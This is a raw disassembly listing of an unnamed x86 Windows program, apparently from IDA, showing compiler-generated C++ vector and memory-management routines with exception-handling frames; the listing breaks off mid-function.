mov eax, [ebx+8]
cmp [ebx+4], eax
mov [ebp-18h], eax
jbe short loc_40679B
call sub_40DCFC
loc_40679B: ; CODE XREF: sub_40674E+46j
mov eax, [ebx+4]
cmp eax, [ebx+8]
mov [ebp-1Ch], eax
jbe short loc_4067AB
call sub_40DCFC
loc_4067AB: ; CODE XREF: sub_40674E+56j
mov ecx, [esi+4]
xor eax, eax
lea edi, [ebp-14h]
stosb
push dword ptr [ebp-14h]
push dword ptr [ebp+8]
push ecx
push dword ptr [ebp-18h]
mov ecx, [ebp-1Ch]
call sub_407141
add esp, 10h
mov [esi+8], eax
loc_4067CC: ; CODE XREF: sub_40674E+2Cj
; sub_40674E+37j
mov ecx, [ebp-0Ch]
pop edi
mov eax, esi
pop esi
mov large fs:0, ecx
pop ebx
leave
retn 4
sub_40674E endp
; =============== S U B R O U T I N E =======================================
sub_4067DF proc near ; DATA XREF: .vty:00420B5Co
mov esi, [ebp+8]
call sub_405F8B
push 0
push 0
call sub_4107BC
int 3 ; Trap to Debugger
sub_4067DF endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4067F1 proc near ; CODE XREF: sub_405F8B+Ap
; sub_406E16+4Dp ...
arg_0 = dword ptr 4
push edi
mov edi, eax
cmp edi, [esp+4+arg_0]
jz short loc_406818
push esi
loc_4067FB: ; CODE XREF: sub_4067F1+24j
lea esi, [edi+1Ch]
call sub_405AAC
push 0
push 1
mov ecx, edi
call sub_4013C4
add edi, 2Ch
cmp edi, [esp+8+arg_0]
jnz short loc_4067FB
pop esi
loc_406818: ; CODE XREF: sub_4067F1+7j
pop edi
retn 4
sub_4067F1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40681C proc near ; CODE XREF: sub_405FB0+C7p
; sub_405FB0+1A7p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
push edi
xor eax, eax
lea edi, [ebp+var_4]
stosb
push [ebp+var_4]
push [ebp+arg_4]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_406C3B
mov eax, [ebp+arg_4]
imul eax, 74h
add esp, 14h
add eax, [ebp+arg_0]
pop edi
leave
retn 0Ch
sub_40681C endp
; =============== S U B R O U T I N E =======================================
sub_40684D proc near ; CODE XREF: sub_405A66+Bj
; sub_405FB0+5Bp ...
mov eax, offset loc_41AFA6
call sub_41AE44
sub esp, 4Ch
push offset aVectorTTooLong ; "vector<T> too long"
lea ecx, [ebp-2Ch]
call sub_401C44
and dword ptr [ebp-4], 0
lea eax, [ebp-2Ch]
push eax
lea ecx, [ebp-54h]
call sub_401869
push offset dword_41FEF8
lea eax, [ebp-54h]
push eax
mov dword ptr [ebp-54h], offset off_41C2A8
call sub_4107BC
int 3 ; Trap to Debugger
sub_40684D endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40688D proc near ; CODE XREF: sub_405C5B+47p
; sub_406253+75p ...
var_10 = dword ptr -10h
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 10h
test ecx, ecx
ja short loc_4068A7
xor ecx, ecx
loc_406899: ; CODE XREF: sub_40688D+24j
mov eax, ecx
shl eax, 2
push eax
call sub_40DE68
pop ecx
leave
retn
; ---------------------------------------------------------------------------
loc_4068A7: ; CODE XREF: sub_40688D+8j
or eax, 0FFFFFFFFh
xor edx, edx
div ecx
cmp eax, 4
jnb short loc_406899
and [ebp+var_4], 0
lea eax, [ebp+var_4]
push eax
lea ecx, [ebp+var_10]
call sub_40D873
push offset dword_41FEA0
lea eax, [ebp+var_10]
push eax
mov [ebp+var_10], offset off_41C290
call sub_4107BC
int 3 ; Trap to Debugger
sub_40688D endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4068D9 proc near ; CODE XREF: sub_4033DA+183p
; sub_405BDD+62p
arg_0 = dword ptr 4
cmp dword ptr [esi], 0
jnz short loc_4068E3
call sub_40DCFC
loc_4068E3: ; CODE XREF: sub_4068D9+3j
mov eax, [esi+4]
mov ecx, [esi]
push edi
mov edi, [esp+4+arg_0]
shl edi, 2
add eax, edi
cmp eax, [ecx+8]
ja short loc_4068FC
cmp eax, [ecx+4]
jnb short loc_406901
loc_4068FC: ; CODE XREF: sub_4068D9+1Cj
call sub_40DCFC
loc_406901: ; CODE XREF: sub_4068D9+21j
add [esi+4], edi
mov eax, esi
pop edi
retn 4
sub_4068D9 endp
; =============== S U B R O U T I N E =======================================
sub_40690A proc near ; CODE XREF: sub_406694+1Ap
; sub_406D1A+13p ...
mov ecx, [eax+4]
test ecx, ecx
jnz short loc_406914
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_406914: ; CODE XREF: sub_40690A+5j
mov eax, [eax+8]
sub eax, ecx
push 38h
cdq
pop ecx
idiv ecx
retn
sub_40690A endp
; =============== S U B R O U T I N E =======================================
sub_406920 proc near ; CODE XREF: sub_406694+30p
; sub_406D1A+DCp
push esi
mov esi, eax
cmp esi, 4924924h
jbe short loc_406930
jmp sub_40684D
; ---------------------------------------------------------------------------
loc_406930: ; CODE XREF: sub_406920+9j
mov ecx, esi
call sub_406988
imul esi, 38h
add esi, eax
mov [edi+4], eax
mov [edi+8], eax
mov [edi+0Ch], esi
mov al, 1
pop esi
retn
sub_406920 endp
; =============== S U B R O U T I N E =======================================
sub_406949 proc near ; CODE XREF: sub_40674E+1Ap
; sub_406E16+13p ...
mov ecx, [eax+4]
test ecx, ecx
jnz short loc_406953
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_406953: ; CODE XREF: sub_406949+5j
mov eax, [eax+8]
sub eax, ecx
push 2Ch
cdq
pop ecx
idiv ecx
retn
sub_406949 endp
; =============== S U B R O U T I N E =======================================
sub_40695F proc near ; CODE XREF: sub_40674E+30p
; sub_406E16+DCp
push esi
mov esi, eax
cmp esi, 5D1745Dh
jbe short loc_40696F
jmp sub_40684D
; ---------------------------------------------------------------------------
loc_40696F: ; CODE XREF: sub_40695F+9j
mov ecx, esi
call sub_4069D2
imul esi, 2Ch
add esi, eax
mov [edi+4], eax
mov [edi+8], eax
mov [edi+0Ch], esi
mov al, 1
pop esi
retn
sub_40695F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_406988 proc near ; CODE XREF: sub_406920+12p
; sub_409E2A+8Ap
var_10 = dword ptr -10h
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 10h
test ecx, ecx
ja short loc_4069A0
xor ecx, ecx
loc_406994: ; CODE XREF: sub_406988+22j
imul ecx, 38h
push ecx
call sub_40DE68
pop ecx
leave
retn
; ---------------------------------------------------------------------------
loc_4069A0: ; CODE XREF: sub_406988+8j
or eax, 0FFFFFFFFh
xor edx, edx
div ecx
cmp eax, 38h
jnb short loc_406994
and [ebp+var_4], 0
lea eax, [ebp+var_4]
push eax
lea ecx, [ebp+var_10]
call sub_40D873
push offset dword_41FEA0
lea eax, [ebp+var_10]
push eax
mov [ebp+var_10], offset off_41C290
call sub_4107BC
int 3 ; Trap to Debugger
sub_406988 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4069D2 proc near ; CODE XREF: sub_40695F+12p
; sub_40A022+8Cp
var_10 = dword ptr -10h
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 10h
test ecx, ecx
ja short loc_4069EA
xor ecx, ecx
loc_4069DE: ; CODE XREF: sub_4069D2+22j
imul ecx, 2Ch
push ecx
call sub_40DE68
pop ecx
leave
retn
; ---------------------------------------------------------------------------
loc_4069EA: ; CODE XREF: sub_4069D2+8j
or eax, 0FFFFFFFFh
xor edx, edx
div ecx
cmp eax, 2Ch
jnb short loc_4069DE
and [ebp+var_4], 0
lea eax, [ebp+var_4]
push eax
lea ecx, [ebp+var_10]
call sub_40D873
push offset dword_41FEA0
lea eax, [ebp+var_10]
push eax
mov [ebp+var_10], offset off_41C290
call sub_4107BC
int 3 ; Trap to Debugger
sub_4069D2 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_406A1C proc near ; CODE XREF: sub_402BCF+103p
; sub_4033DA+270p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_4 = dword ptr 0Ch
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, [ebp+arg_10]
push esi
push edi
mov edi, [ebp+arg_C]
sub edi, [ebp+arg_4]
mov [ebp+var_8], eax
mov eax, [ebp+arg_14]
lea esi, [ebp+var_8]
mov [ebp+var_4], eax
call sub_40702B
mov ecx, [eax]
mov esi, [ebp+arg_4]
cmp esi, [ebp+arg_C]
mov eax, [eax+4]
mov [ebx], ecx
mov [ebx+4], eax
jz short loc_406A67
mov edi, [ebp+arg_14]
sub edi, esi
loc_406A54: ; CODE XREF: sub_406A1C+49j
movsx eax, byte ptr [esi]
push eax
call sub_40F97B
mov [edi+esi], al
inc esi
cmp esi, [ebp+arg_C]
pop ecx
jnz short loc_406A54
loc_406A67: ; CODE XREF: sub_406A1C+31j
pop edi
mov eax, ebx
pop esi
leave
retn
sub_406A1C endp
; =============== S U B R O U T I N E =======================================
sub_406A6D proc near ; CODE XREF: sub_402E64+BAp
; sub_4081BF+5Fp ...
arg_0 = dword ptr 4
push edi
push [esp+4+arg_0]
call sub_40D970
pop ecx
push [esp+4+arg_0]
mov ecx, [esi+14h]
mov edi, eax
mov eax, esi
call sub_4059BE
neg eax
sbb eax, eax
inc eax
pop edi
retn
sub_406A6D endp
; =============== S U B R O U T I N E =======================================
sub_406A8F proc near ; CODE XREF: sub_4056BC+43p
; sub_4056BC+9Ep ...
arg_0 = dword ptr 4
push ebx
push esi
mov ebx, eax
mov eax, [esp+8+arg_0]
push edi
mov edi, ecx
sub eax, edi
push 1Ch
cdq
pop ecx
idiv ecx
mov esi, eax
imul esi, 1Ch
add esi, ebx
cmp edi, [esp+0Ch+arg_0]
jz short loc_406AC7
sub ebx, edi
loc_406AB1: ; CODE XREF: sub_406A8F+36j
push 0FFFFFFFFh
push 0
push edi
lea ecx, [ebx+edi]
call sub_401315
add edi, 1Ch
cmp edi, [esp+0Ch+arg_0]
jnz short loc_406AB1
loc_406AC7: ; CODE XREF: sub_406A8F+1Ej
pop edi
mov eax, esi
pop esi
pop ebx
retn
sub_406A8F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_406ACD proc near ; CODE XREF: sub_4056BC+ECp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push edi
xor eax, eax
lea edi, [ebp+var_4]
stosb
push [ebp+var_4]
push [ebp+arg_4]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_407078
add esp, 10h
pop edi
leave
retn 8
sub_406ACD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_406AF1 proc near ; CODE XREF: sub_405B80+25p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, eax
mov eax, [ebp+arg_0]
push esi
push edi
sub eax, ebx
push 74h
cdq
pop ecx
idiv ecx
mov edi, eax
imul edi, 74h
add edi, [ebp+arg_4]
cmp ebx, [ebp+arg_0]
jz short loc_406B31
mov eax, [ebp+arg_4]
sub eax, ebx
mov [ebp+arg_4], eax
jmp short loc_406B1F
; ---------------------------------------------------------------------------
loc_406B1C: ; CODE XREF: sub_406AF1+3Ej
mov eax, [ebp+arg_4]
loc_406B1F: ; CODE XREF: sub_406AF1+29j
lea esi, [eax+ebx]
mov eax, ebx
call sub_406C9C
add ebx, 74h
cmp ebx, [ebp+arg_0]
jnz short loc_406B1C
loc_406B31: ; CODE XREF: sub_406AF1+1Fj
mov eax, edi
pop edi
pop esi
pop ebx
pop ecx
pop ebp
retn
sub_406AF1 endp
; =============== S U B R O U T I N E =======================================
sub_406B39 proc near ; CODE XREF: sub_405C5B+63p
; sub_405C5B+7Ep ...
arg_0 = dword ptr 4
sub eax, [esp+arg_0]
push esi
sar eax, 2
lea eax, ds:0[eax*4]
lea esi, [eax+ecx]
jz short loc_406B5C
push eax
push [esp+8+arg_0]
push eax
push ecx
call sub_40D807
add esp, 10h
loc_406B5C: ; CODE XREF: sub_406B39+12j
mov eax, esi
pop esi
retn
sub_406B39 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_406B60 proc near ; CODE XREF: sub_405FB0+B6p
; sub_405FB0+D6p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push edi
xor eax, eax
lea edi, [ebp+var_4]
stosb
push [ebp+var_4]
push [ebp+arg_4]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40765F
add esp, 10h
pop edi
leave
retn 8
sub_406B60 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_406B84 proc near ; CODE XREF: sub_405FB0+21Cp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, eax
sub eax, [ebp+arg_0]
push esi
push edi
cdq
push 74h
pop ecx
idiv ecx
mov edi, [ebp+arg_4]
imul eax, 74h
sub edi, eax
cmp [ebp+arg_0], ebx
jz short loc_406BC2
mov eax, [ebp+arg_4]
sub eax, ebx
mov [ebp+arg_4], eax
jmp short loc_406BB0
; ---------------------------------------------------------------------------
loc_406BAD: ; CODE XREF: sub_406B84+3Cj
mov eax, [ebp+arg_4]
loc_406BB0: ; CODE XREF: sub_406B84+27j
sub ebx, 74h
lea esi, [eax+ebx]
mov eax, ebx
call sub_406C9C
cmp ebx, [ebp+arg_0]
jnz short loc_406BAD
loc_406BC2: ; CODE XREF: sub_406B84+1Dj
mov eax, edi
pop edi
pop esi
pop ebx
pop ecx
pop ebp
retn
sub_406B84 endp
; =============== S U B R O U T I N E =======================================
sub_406BCA proc near ; CODE XREF: sub_406253+85p
; sub_406253+A0p ...
arg_0 = dword ptr 4
sub eax, [esp+arg_0]
push esi
sar eax, 2
lea eax, ds:0[eax*4]
lea esi, [eax+ecx]
jz short loc_406BED
push eax
push [esp+8+arg_0]
push eax
push ecx
call sub_40D807
add esp, 10h
loc_406BED: ; CODE XREF: sub_406BCA+12j
mov eax, esi
pop esi
retn 4
sub_406BCA endp
; ---------------------------------------------------------------------------
loc_406BF3: ; CODE XREF: .vty:0041B302j
push edi
lea edi, [esi+1Ch]
call sub_406C09
push 0
push 1
mov ecx, esi
call sub_4013C4
pop edi
retn
; =============== S U B R O U T I N E =======================================
sub_406C09 proc near ; CODE XREF: sub_4055A2+24p
; sub_406631+33p ...
push esi
mov esi, [edi+4]
test esi, esi
jz short loc_406C2D
push ebx
mov ebx, [edi+8]
jmp short loc_406C1F
; ---------------------------------------------------------------------------
loc_406C17: ; CODE XREF: sub_406C09+18j
call sub_407598
add esi, 5Ch
loc_406C1F: ; CODE XREF: sub_406C09+Cj
cmp esi, ebx
jnz short loc_406C17
push dword ptr [edi+4]
call sub_40DD8A
pop ecx
pop ebx
loc_406C2D: ; CODE XREF: sub_406C09+6j
and dword ptr [edi+4], 0
and dword ptr [edi+8], 0
and dword ptr [edi+0Ch], 0
pop esi
retn
sub_406C09 endp
; =============== S U B R O U T I N E =======================================
sub_406C3B proc near ; CODE XREF: sub_40681C+1Bp
mov eax, offset loc_41B3F0
call sub_41AE44
sub esp, 0Ch
mov eax, [ebp+8]
and dword ptr [ebp-4], 0
push ebx
push esi
push edi
mov [ebp-10h], esp
mov [ebp-14h], eax
loc_406C58: ; CODE XREF: sub_406C3B+35j
cmp dword ptr [ebp+0Ch], 0
jbe short loc_406C8D
push dword ptr [ebp+8]
mov ecx, [ebp+10h]
call sub_406F12
dec dword ptr [ebp+0Ch]
add dword ptr [ebp+8], 74h
jmp short loc_406C58
; ---------------------------------------------------------------------------
loc_406C72: ; DATA XREF: .vty:00420F5Co
mov edi, [ebp-14h]
jmp short loc_406C7F
; ---------------------------------------------------------------------------
loc_406C77: ; CODE XREF: sub_406C3B+47j
call sub_405989
add edi, 74h
loc_406C7F: ; CODE XREF: sub_406C3B+3Aj
cmp edi, [ebp+8]
jnz short loc_406C77
push 0
push 0
call sub_4107BC
loc_406C8D: ; CODE XREF: sub_406C3B+21j
mov ecx, [ebp-0Ch]
pop edi
pop esi
mov large fs:0, ecx
pop ebx
leave
retn
sub_406C3B endp
; =============== S U B R O U T I N E =======================================
sub_406C9C proc near ; CODE XREF: sub_405FB0+1C7p
; sub_405FB0+231p ...
push ecx
push ebx
push edi
mov edi, eax
mov ebx, edi
mov eax, esi
call sub_406D1A
lea ebx, [edi+10h]
lea eax, [esi+10h]
call sub_406E16
push 0FFFFFFFFh
xor ebx, ebx
push ebx
lea eax, [edi+20h]
push eax
lea ecx, [esi+20h]
call sub_401315
push 0FFFFFFFFh
push ebx
lea eax, [edi+3Ch]
push eax
lea ecx, [esi+3Ch]
call sub_401315
push 0FFFFFFFFh
push ebx
add edi, 58h
push edi
lea ecx, [esi+58h]
call sub_401315
pop edi
mov eax, esi
pop ebx
pop ecx
retn
sub_406C9C endp
; =============== S U B R O U T I N E =======================================
sub_406CEA proc near ; CODE XREF: sub_407454+5Ap
; sub_40BDCD+C0p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_C = dword ptr 10h
push ecx
push esi
push edi
push [esp+0Ch+arg_4]
mov edi, [esp+10h+arg_C]
push dword ptr [edi+4]
push edi
call sub_406F3C
mov ecx, [esp+0Ch+arg_0]
xor edx, edx
inc edx
mov esi, eax
call sub_405EBC
mov [edi+4], esi
mov eax, [esi+4]
pop edi
mov [eax], esi
pop esi
pop ecx
retn 10h
sub_406CEA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_406D1A proc near ; CODE XREF: sub_406C9C+9p
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, eax
cmp esi, ebx
push edi
jz loc_406E10
mov eax, ebx
call sub_40690A
test eax, eax
jnz short loc_406D40
call sub_406FAF
jmp loc_406E10
; ---------------------------------------------------------------------------
loc_406D40: ; CODE XREF: sub_406D1A+1Aj
mov eax, ebx
call sub_40690A
mov edi, eax
mov eax, esi
call sub_40690A
cmp edi, eax
ja short loc_406D7E
push dword ptr [esi+4]
mov eax, [ebx+4]
push dword ptr [ebx+8]
call sub_4071B0
pop ecx
pop ecx
push dword ptr [esi+8]
call sub_406737
mov eax, ebx
call sub_40690A
imul eax, 38h
add eax, [esi+4]
jmp loc_406E0D
; ---------------------------------------------------------------------------
loc_406D7E: ; CODE XREF: sub_406D1A+38j
mov edi, [esi+4]
test edi, edi
jnz short loc_406D8A
and [ebp+var_4], edi
jmp short loc_406D98
; ---------------------------------------------------------------------------
loc_406D8A: ; CODE XREF: sub_406D1A+69j
mov eax, [esi+0Ch]
sub eax, edi
push 38h
cdq
pop ecx
idiv ecx
mov [ebp+var_4], eax
loc_406D98: ; CODE XREF: sub_406D1A+6Ej
mov eax, ebx
call sub_40690A
cmp eax, [ebp+var_4]
ja short loc_406DC7
mov eax, esi
call sub_40690A
push dword ptr [esi+4]
mov edi, eax
mov eax, [ebx+4]
imul edi, 38h
add edi, eax
push edi
call sub_4071B0
pop ecx
pop ecx
push dword ptr [esi+8]
mov ecx, edi
jmp short loc_406E05
; ---------------------------------------------------------------------------
loc_406DC7: ; CODE XREF: sub_406D1A+88j
test edi, edi
jz short loc_406DDE
push dword ptr [esi+8]
mov eax, edi
call sub_406737
push dword ptr [esi+4]
call sub_40DD8A
pop ecx
loc_406DDE: ; CODE XREF: sub_406D1A+AFj
mov eax, ebx
call sub_40690A
xor ecx, ecx
cmp eax, ecx
mov [esi+4], ecx
mov [esi+8], ecx
mov [esi+0Ch], ecx
jz short loc_406E10
mov edi, esi
call sub_406920
test al, al
jz short loc_406E10
push dword ptr [esi+4]
mov ecx, [ebx+4]
loc_406E05: ; CODE XREF: sub_406D1A+ABj
push dword ptr [ebx+8]
call sub_4071F6
loc_406E0D: ; CODE XREF: sub_406D1A+5Fj
mov [esi+8], eax
loc_406E10: ; CODE XREF: sub_406D1A+Bj
; sub_406D1A+21j ...
pop edi
mov eax, esi
pop esi
leave
retn
sub_406D1A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_406E16 proc near ; CODE XREF: sub_406C9C+14p
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, eax
cmp esi, ebx
push edi
jz loc_406F0C
mov eax, ebx
call sub_406949
test eax, eax
jnz short loc_406E3C
call sub_406FEC
jmp loc_406F0C
; ---------------------------------------------------------------------------
loc_406E3C: ; CODE XREF: sub_406E16+1Aj
mov eax, ebx
call sub_406949
mov edi, eax
mov eax, esi
call sub_406949
cmp edi, eax
ja short loc_406E7A
push dword ptr [esi+4]
mov eax, [ebx+4]
push dword ptr [ebx+8]
call sub_40721A
pop ecx
pop ecx
push dword ptr [esi+8]
call sub_4067F1
mov eax, ebx
call sub_406949
imul eax, 2Ch
add eax, [esi+4]
jmp loc_406F09
; ---------------------------------------------------------------------------
loc_406E7A: ; CODE XREF: sub_406E16+38j
mov edi, [esi+4]
test edi, edi
jnz short loc_406E86
and [ebp+var_4], edi
jmp short loc_406E94
; ---------------------------------------------------------------------------
loc_406E86: ; CODE XREF: sub_406E16+69j
mov eax, [esi+0Ch]
sub eax, edi
push 2Ch
cdq
pop ecx
idiv ecx
mov [ebp+var_4], eax
loc_406E94: ; CODE XREF: sub_406E16+6Ej
mov eax, ebx
call sub_406949
cmp eax, [ebp+var_4]
ja short loc_406EC3
mov eax, esi
call sub_406949
push dword ptr [esi+4]
mov edi, eax
mov eax, [ebx+4]
imul edi, 2Ch
add edi, eax
push edi
call sub_40721A
pop ecx
pop ecx
push dword ptr [esi+8]
mov ecx, edi
jmp short loc_406F01
; ---------------------------------------------------------------------------
loc_406EC3: ; CODE XREF: sub_406E16+88j
test edi, edi
jz short loc_406EDA
push dword ptr [esi+8]
mov eax, edi
call sub_4067F1
push dword ptr [esi+4]
call sub_40DD8A
pop ecx
loc_406EDA: ; CODE XREF: sub_406E16+AFj
mov eax, ebx
call sub_406949
xor ecx, ecx
cmp eax, ecx
mov [esi+4], ecx
mov [esi+8], ecx
mov [esi+0Ch], ecx
jz short loc_406F0C
mov edi, esi
call sub_40695F
test al, al
jz short loc_406F0C
push dword ptr [esi+4]
mov ecx, [ebx+4]
loc_406F01: ; CODE XREF: sub_406E16+ABj
push dword ptr [ebx+8]
call sub_40B203
loc_406F09: ; CODE XREF: sub_406E16+5Fj
mov [esi+8], eax
loc_406F0C: ; CODE XREF: sub_406E16+Bj
; sub_406E16+21j ...
pop edi
mov eax, esi
pop esi
leave
retn
sub_406E16 endp
; =============== S U B R O U T I N E =======================================
sub_406F12 proc near ; CODE XREF: sub_406C3B+29p
; sub_40765F+28p
mov eax, offset loc_41B3E6
call sub_41AE44
and dword ptr [ebp-4], 0
cmp dword ptr [ebp+8], 0
jz short loc_406F2E
push dword ptr [ebp+8]
call sub_4065C8
loc_406F2E: ; CODE XREF: sub_406F12+12j
mov ecx, [ebp-0Ch]
mov large fs:0, ecx
leave
retn 4
sub_406F12 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_406F3C proc near ; CODE XREF: sub_406CEA+Fp
mov eax, offset loc_41AFF3
call sub_41AE44
sub esp, 0Ch
push ebx
push esi
push edi
mov [ebp-10h], esp
push 40h
call sub_40DE68
and dword ptr [ebp-4], 0
mov esi, eax
test esi, esi
pop ecx
mov [ebp-14h], esi
jz short loc_406F69
mov eax, [ebp+8]
mov [esi], eax
loc_406F69: ; CODE XREF: sub_406F3C+26j
lea eax, [esi+4]
test eax, eax
jz short loc_406F75
mov ecx, [ebp+0Ch]
mov [eax], ecx
loc_406F75: ; CODE XREF: sub_406F3C+32j
lea eax, [esi+8]
test eax, eax
mov byte ptr [ebp-4], 1
jz short loc_406F89
mov edi, [ebp+10h]
push eax
call sub_407260
loc_406F89: ; CODE XREF: sub_406F3C+42j
mov ecx, [ebp-0Ch]
pop edi
mov eax, esi
pop esi
mov large fs:0, ecx
pop ebx
leave
retn 0Ch
sub_406F3C endp
; =============== S U B R O U T I N E =======================================
sub_406F9C proc near ; DATA XREF: .vty:00420528o
push dword ptr [ebp-14h]
call sub_40DD8A
pop ecx
push 0
push 0
call sub_4107BC
int 3 ; Trap to Debugger
sub_406F9C endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_406FAF proc near ; CODE XREF: sub_406D1A+1Cp
; sub_4081BF+42p
push ebx
mov ebx, [esi+8]
cmp [esi+4], ebx
push edi
jbe short loc_406FBE
call sub_40DCFC
loc_406FBE: ; CODE XREF: sub_406FAF+8j
mov edi, [esi+4]
cmp edi, [esi+8]
jbe short loc_406FCB
call sub_40DCFC
loc_406FCB: ; CODE XREF: sub_406FAF+15j
cmp edi, ebx
jz short loc_406FE9
push edi
push dword ptr [esi+8]
mov eax, ebx
call sub_4071B0
pop ecx
pop ecx
push dword ptr [esi+8]
mov edi, eax
call sub_406737
mov [esi+8], edi
loc_406FE9: ; CODE XREF: sub_406FAF+1Ej
pop edi
pop ebx
retn
sub_406FAF endp
; =============== S U B R O U T I N E =======================================
sub_406FEC proc near ; CODE XREF: sub_406E16+1Cp
; sub_4081BF+4Dp
push ecx
push ebx
mov ebx, [esi+8]
cmp [esi+4], ebx
push edi
jbe short loc_406FFC
call sub_40DCFC
loc_406FFC: ; CODE XREF: sub_406FEC+9j
mov edi, [esi+4]
cmp edi, [esi+8]
jbe short loc_407009
call sub_40DCFC
loc_407009: ; CODE XREF: sub_406FEC+16j
cmp edi, ebx
jz short loc_407027
push edi
push dword ptr [esi+8]
mov eax, ebx
call sub_40721A
pop ecx
pop ecx
push dword ptr [esi+8]
mov edi, eax
call sub_4067F1
mov [esi+8], edi
loc_407027: ; CODE XREF: sub_406FEC+1Fj
pop edi
pop ebx
pop ecx
retn
sub_406FEC endp
; =============== S U B R O U T I N E =======================================
sub_40702B proc near ; CODE XREF: sub_406A1C+1Cp
; sub_40C844+199p
mov eax, [esi]
cmp eax, 0FFFFFFFEh
jz short loc_407072
test eax, eax
jnz short loc_40703B
call sub_40DCFC
loc_40703B: ; CODE XREF: sub_40702B+9j
mov eax, [esi]
cmp dword ptr [eax+18h], 10h
jb short loc_407048
mov ecx, [eax+4]
jmp short loc_40704B
; ---------------------------------------------------------------------------
loc_407048: ; CODE XREF: sub_40702B+16j
lea ecx, [eax+4]
loc_40704B: ; CODE XREF: sub_40702B+1Bj
mov edx, [esi+4]
push ebx
mov ebx, [eax+14h]
add ebx, ecx
add edx, edi
cmp edx, ebx
pop ebx
ja short loc_40706D
cmp dword ptr [eax+18h], 10h
jb short loc_407066
mov eax, [eax+4]
jmp short loc_407069
; ---------------------------------------------------------------------------
loc_407066: ; CODE XREF: sub_40702B+34j
add eax, 4
loc_407069: ; CODE XREF: sub_40702B+39j
cmp edx, eax
jnb short loc_407072
loc_40706D: ; CODE XREF: sub_40702B+2Ej
call sub_40DCFC
loc_407072: ; CODE XREF: sub_40702B+5j
; sub_40702B+40j
add [esi+4], edi
mov eax, esi
retn
sub_40702B endp
; =============== S U B R O U T I N E =======================================
sub_407078 proc near ; CODE XREF: sub_406ACD+17p
; sub_4075BC+73p
mov eax, offset loc_41AF05
call sub_41AE44
push ecx
push ecx
mov eax, [ebp+0Ch]
and dword ptr [ebp-4], 0
push ebx
push esi
push edi
mov [ebp-10h], esp
mov esi, ecx
mov [ebp-14h], eax
loc_407096: ; CODE XREF: sub_407078+33j
cmp esi, [ebp+8]
jz short loc_4070CC
mov ecx, [ebp+0Ch]
push esi
call sub_407365
add dword ptr [ebp+0Ch], 1Ch
add esi, 1Ch
jmp short loc_407096
; ---------------------------------------------------------------------------
loc_4070AD: ; DATA XREF: .vty:00420164o
mov esi, [ebp-14h]
jmp short loc_4070BE
; ---------------------------------------------------------------------------
loc_4070B2: ; CODE XREF: sub_407078+4Bj
push 1
mov ecx, esi
call sub_4013C4
add esi, 1Ch
loc_4070BE: ; CODE XREF: sub_407078+38j
cmp esi, [ebp+0Ch]
push 0
jnz short loc_4070B2
push 0
call sub_4107BC
loc_4070CC: ; CODE XREF: sub_407078+21j
mov ecx, [ebp-0Ch]
mov eax, [ebp+0Ch]
pop edi
pop esi
mov large fs:0, ecx
pop ebx
leave
retn
sub_407078 endp
; =============== S U B R O U T I N E =======================================
sub_4070DE proc near ; CODE XREF: sub_406694+73p
; sub_4071F6+17p
mov eax, offset loc_41AEFB
call sub_41AE44
push ecx
push ecx
mov eax, [ebp+0Ch]
and dword ptr [ebp-4], 0
push ebx
push esi
push edi
mov [ebp-10h], esp
mov esi, ecx
mov [ebp-14h], eax
loc_4070FC: ; CODE XREF: sub_4070DE+34j
cmp esi, [ebp+8]
jz short loc_40712F
push dword ptr [ebp+0Ch]
mov ecx, esi
call sub_40738D
add dword ptr [ebp+0Ch], 38h
add esi, 38h
jmp short loc_4070FC
; ---------------------------------------------------------------------------
loc_407114: ; DATA XREF: .vty:0042010Co
mov esi, [ebp-14h]
jmp short loc_407121
; ---------------------------------------------------------------------------
loc_407119: ; CODE XREF: sub_4070DE+46j
call sub_4072AA
add esi, 38h
loc_407121: ; CODE XREF: sub_4070DE+39j
cmp esi, [ebp+0Ch]
jnz short loc_407119
push 0
push 0
call sub_4107BC
loc_40712F: ; CODE XREF: sub_4070DE+21j
mov ecx, [ebp-0Ch]
mov eax, [ebp+0Ch]
